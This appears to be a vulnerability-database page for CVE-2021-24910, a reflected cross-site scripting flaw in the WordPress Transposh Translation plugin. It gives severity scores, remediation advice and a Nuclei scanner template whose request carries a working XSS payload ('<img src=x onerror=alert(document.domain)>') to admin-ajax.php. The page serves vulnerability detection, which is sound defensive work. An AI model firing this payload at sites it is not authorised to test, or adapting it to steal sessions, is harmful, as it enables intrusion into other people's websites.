Lucene search

K
nucleiProjectDiscoveryNUCLEI:CVE-2021-24910
HistoryAug 06, 2022 - 5:55 a.m.

WordPress Transposh Translation <1.0.8 - Cross-Site Scripting

2022-08-0605:55:03
ProjectDiscovery
github.com
7
cve-2021
cross-site scripting
wordpress
transposh
wp-plugin
ajax.

CVSS3

6.1

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

EPSS

0.001

Percentile

36.8%

WordPress Transposh Translation plugin before 1.0.8 contains a reflected cross-site scripting vulnerability. It does not sanitize and escape the a parameter via an AJAX action (available to both unauthenticated and authenticated users when the curl library is installed) before outputting it back in the response.

id: CVE-2021-24910

info:
  name: WordPress Transposh Translation <1.0.8 - Cross-Site Scripting
  author: Screamy
  severity: medium
  description: WordPress Transposh Translation plugin before 1.0.8 contains a reflected cross-site scripting vulnerability. It does not sanitize and escape the a parameter via an AJAX action (available to both unauthenticated and authenticated users when the curl library is installed) before outputting it back in the response.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Update the WordPress Transposh Translation plugin to version 1.0.8 or later to mitigate the vulnerability.
  reference:
    - https://www.rcesecurity.com/2022/07/WordPress-Transposh-Exploiting-a-Blind-SQL-Injection-via-XSS/
    - https://github.com/MrTuxracer/advisories/blob/master/CVEs/CVE-2021-24910.txt
    - https://wpscan.com/vulnerability/b5cbebf4-5749-41a0-8be3-3333853fca17
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24910
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24910
    cwe-id: CWE-79
    epss-score: 0.00086
    epss-percentile: 0.35299
    cpe: cpe:2.3:a:transposh:transposh_wordpress_translation:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: transposh
    product: transposh_wordpress_translation
    framework: wordpress
  tags: cve2021,cve,wordpress,wp-plugin,xss,wp,wpscan,transposh

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin-ajax.php?action=tp_tp&e=g&m=s&tl=en&q=<img%20src%3dx%20onerror%3dalert(document.domain)>"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<img src=x onerror=alert(document.domain)>'
          - '{"result":'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100d37fe0b4e214f6873d85a658650c7498aebf4e3ab8c22a05b2f65796d3e8928c022012536e11e361e1aee564b3dc6f01349c49f76792d86b982708b7c86bf3f3188f:922c64590222798bb761d5b6d8e72950

CVSS3

6.1

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

EPSS

0.001

Percentile

36.8%

Related for NUCLEI:CVE-2021-24910